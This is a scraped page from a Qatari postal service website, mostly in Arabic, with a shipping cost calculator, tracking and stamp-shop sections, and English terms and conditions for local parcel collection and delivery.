خارج قطر

الصفحة الرئيسية السابق


حاسبة التكلفة

طرد

رسالة

الصفحة الرئيسية السابق


خدمات

اساسي(1-2 أيام)(15-2يوم)
إثبات التسليم

(P.O.D) تتضمن وقت التسليم وعنوان التوصيل الكامل واسم وتوقيع المتلقي

المسار والتتبع

يتم تعقب الرسائل والطرود الخاصة بك وتتبعها في جميع مراحل عملية الشحن والتسليم.

توصيل السريع(يوم واحد)( 7-10 أيام)
إثبات التسليم

(P.O.D) تتضمن وقت التسليم وعنوان التوصيل الكامل واسم وتوقيع المتلقي

المسار والتتبع

يتم تعقب الرسائل والطرود الخاصة بك وتتبعها في جميع مراحل عملية الشحن والتسليم.

السابق
شحنتك -

Express

ريال قطري
شحنتك الأولوية العالمية International - India

ماكس

تكلفة الخدمة / الطلب

طلب الاستلام25 ريال قطري
30 ريال قطري
40 ريال قطري
التكلفة الإجمالية ريال قطري
الوجهة اختر وجهة يرجى تحديد الوجهة للمضي قدما
الوزن أدخل الوزن بالجرام أدخل وزن الطرد بالكيلوغرام (مع رقم عشري واحد)
يرجى إدخال الوزن
يرجى إدخال قيمة داخل الحد الأقصى
البعد
LENGTH أدخل الطول (سم)
يرجى ادخال الطول
WIDTH (أدخل العرض (سم
من فضلك ادخل العرض
HEIGHT أدخل الارتفاع (سم)
يرجى ادخال الارتفاع

حجم (الطول × العرض × الارتفاع) يتجاوز 25000
هل تحتاج إلى باقة رعاية؟
نعم فعلا
لا
CARE PACKAGE
سجل للتتبع يرجى التحقق من التسجيل للمضي قدما
التالي
نحن نواجه مشكلة في الاتصال بالخادم. يرجى تحديث الصفحة وحاول مرة أخرى

تسوق من تركيا



تسوق موادك المفضلة من تركيا، وسنقوم بتوصيلها إلى باب منزلك!



اقرأ أكثر

7 وجهات عالمية للتسوّق، خدمة واحدة تشحنها إلى عنوانك



اشحن منتجاتك المفضلة مع كونيكتيد



اعرف المزيد

أرسل الأموال إلى مصر خلال ساعتين!!



 
 مع خدمة PosTransfer من بريد قطر أرسل الأموال إلى أكثر من 4,292 مكتب بريد في مصر
خلال ساعتين



اعرف المزيد
 1. 
 2. 
 3. 


إغلاق

تفاصيل التتبع -

رقم التعريف الخاص بالطلب :
تم الطلب :
الحالة الحالية:
الحالة
تاريخ
 
الموقع
تفاصيل الحدث



متجرنا الإلكتروني



قم بشراء أحدث إصدارات الطوابع ومجموعة متنوعة من البضائع الرائعة ونحن على استعداد
لتوصيلها إلى باب منزلك!




تعرف على آخر طوابعنا!



هل لديك هواية جمع الطوابع ؟ هل ترغب في إرسال رسائل أو بطاقات بريدية إلى أصدقائك؟
تعرف على مجموعتنا الرائعة من الطوابع



طوابعنا


FIFA كلاسيك



18.00 ريال قطري

اشتري

بطولة كأس العرب FIFA 2021



8.50 ريال قطري

اشتري

FIFA 2022 ملاعب كأس العالم



28.00 ريال قطري

اشتري

طوابع التخليص



60.00 ريال قطري

اشتري




حول بريد قطر

 * الرؤية و الرسالة و الأهداف
 * تاريخ بريد قطر
 * أخبار
 * الفروع وساعات العمل
 * الوظائف


كيف يمكننا مساعدتك

 * الأسئلة الشائعة
 * المواد المحظورة
 * المعايير البريدية
 * فيديوهات


سياسات

 * سياسة الخصوصية
 * السياسة العامة لأمن المعلومات
 * الشروط والأحكام
 * سياسة نظام الإدارة المتكامل


خط التواصل

 * info@qatarposts.com
 * الخط الساخن 104
 * تابعونا
 * 
 * حمل التطبيق
 * 

صندوق البريد الاشتراك



ربط اشتراكك في صندوق البريد في حسابي

يرجى الاتصال بريد قطر لتحديث الاتصال / رقم الهاتف المحمول لم يتم العثور على
اشتراك لهذا الحساب لم يتم العثور على سجل لهذا الحساب
OTP أدخل رمز OTP الخاص بك
يرجى الاتصال بريد قطر لتحديث الاتصال / رقم الهاتف المحمول
استمر
إعادة إرسال رمز OTP
استمر

لقد ربطت اشتراكك بنجاح



الأحكام والشروط



Declaration

 * • The customer sending the items, owns the responsibility of the item(s)
   packed and adheres to the laws of The State of Qatar
 * • The customer needs to make sure that the items sent don’t contain any
   Dangerous Goods as per the regulations.

Payment

 * • The only payment method accepted is through Online, using the website or
   mobile app

Delivery charge

 * • There are two delivery Rates, based on delivery locations i.e. Inside Doha
   and Outside Doha.

Delivery Attempts

 * • Only one attempt will be made to deliver to the customer on the agreed date
   and if the customer or his agent is unable to accept delivery then only one
   other further attempt will be made on another suitable and arranged date.
 * • If any further attempts to deliver are agreed, then an additional delivery
   charge will be due, and payment will be due prior to the arranged date.

Delivery days and times

 * • The Collection service starts at 9AM
 * • The cut-off time for creating a request for the same day delivery will be
   3PM
 * • Delivery is done within 4 hours from the time the collection order is
   raised
 * • The delivery service is available from Saturday until Thursday

Heavy or strangely-shaped items

 * • Maximum weight for the item(s) to be declared and sent is 30kg.
 * • Any time over 30kg will be rejected upon collection by the driver.

Returns

 * • In case, the item(s) are not delivered to the customer in both the allowed
   attempts, the item(s) shall be returned back to the Sender within 48 hours
   after second failed attempt
 * • The Sender will be charged for the delivery

Limitations of delivery service

 * • Our drivers are not expected to carry and load heavy items into the
   vehicles
 * • A signature is required for any item(s) collected and delivered, if the
   driver is unable to obtain a signature the goods will not be collected or
   delivered.
 * • It is the customer’s responsibility to receive and check the goods, once
   delivered the customer accepts responsibility for all goods. Any damages or
   defects must be reported within 24 hours.
 * • Once the collection order has been raised online, the order can only be
   canceled prior to the collection done by the driver. In case of cancellation
   upon collection, the full service charge will be applied on the sender.

Additional services

 * • Our drivers are not permitted to undertake any ancillary service such as
   construction, installation, fitting, repair or recommendation in connection
   with the goods delivered. We will not accept liability for any loss or damage
   arising from such activities.


Scroll